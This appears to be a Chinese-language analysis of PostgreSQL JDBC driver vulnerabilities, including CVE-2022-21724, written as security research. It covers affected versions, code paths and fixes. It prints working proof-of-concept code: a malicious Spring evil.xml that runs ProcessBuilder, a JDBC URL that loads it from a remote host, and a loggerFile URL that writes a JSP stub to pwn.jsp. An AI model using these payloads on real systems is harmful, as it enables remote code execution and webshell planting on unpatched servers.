PostgreSQL JDBC Driver Attack
CVE-2022-21724
Remote Code Execution
影响范围
• < 42.2.25 • >= 42.3.0,< 42.3.2
socketFactory/socketFactoryArg
再识别判断出将利用org.postgresql.Driver
的jdbc驱动去连接数据库后,经过若干步骤会执行到
org.postgresql.core.v3.ConnectionFactoryImpl@openConnectionImpl
跟进 getSocketFactory
方法
info是我们在配置jdbc URL时设置的参数,会从info中取出socketFactory,然后调用ObjectFactory.instantiate
方法
继续跟进
stringingarg参数为jdbc URL设置的socketFactoryArg参数
首先尝试获取我们传入的类的参数为Properties的构造方法,获取失败后会尝试获取参数为String的构造方法,然后对其进行初始化
这时候可以想到org.springframework.context.support.ClassPathXmlApplicationContext
这个类
(需要有spring-context-support的依赖)
public ClassPathXmlApplicationContext(String configLocation) throws BeansException { this(new String[]{configLocation}, true, (ApplicationContext)null); }
其可以接受一个String类型的参数作为路径,并从中加载xml文件
此时可以通过在xml中配置bean让其进行自动装配
可以通过设置init-method
指定在执行bean的构造方法后调用的方法
很容易想到java.lang.ProcessBuilder(String[] cmd).start()
evil.xml:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="exec" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>open</value> <value>-a</value> <value>Calculator</value> </list> </constructor-arg> </bean></beans>
public static void main(String[] args) throws Exception{ String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext"; String socketFactoryArg = "http://127.0.0.1:2333/evil.xml"; String jdbcURL = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=" + socketFactoryClass + "&socketFactoryArg="+socketFactoryArg; Connection connection = DriverManager.getConnection(jdbcURL); }
调用栈:
sslfactory/sslfactoryarg
在org.postgresql.core.v3.ConnectionFactoryImpl@openConnectionImpl
中会尝试与数据库建立连接
然后进入org.postgresql.core.v3.ConnectionFactoryImpl@enableSSL
方法
通过pgStream.receiveChar()会接受一个字符,如果接收到的字符为S,则会调用MakeSSL.convert
剩下的就和之前分析的socketFactory类似
调用栈
修复
要求获取的类名必须是指定类的子类,否则就抛出异常
任意文件写入
影响范围
42.3.x < 42.3.3
42.1.x
loggerLevel/loggerFile
在利用postgresql的jdbc连接提供的数据源时,会进行日志初始化等操作,我们只需要指定loggerLevel和loggerFile即可将jdbc://的URL内容写入指定文件
String loggerLevel="DEBUG";String loggerFile="../pwn.jsp";String shellContent="<%25test;%25>";String dbUrl = "jdbc:postgresql:///?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+"&"+shellContent;DriverManager.getConnection(dbUrl);
在org.postgresql.Driver@connect
中,会提取出传参内容带入到setupLoggerFromProperties
方法中
从参数中取出loggerFile作为路径,然后写日志
修复
直接将setupLoggerFromProperties
删去了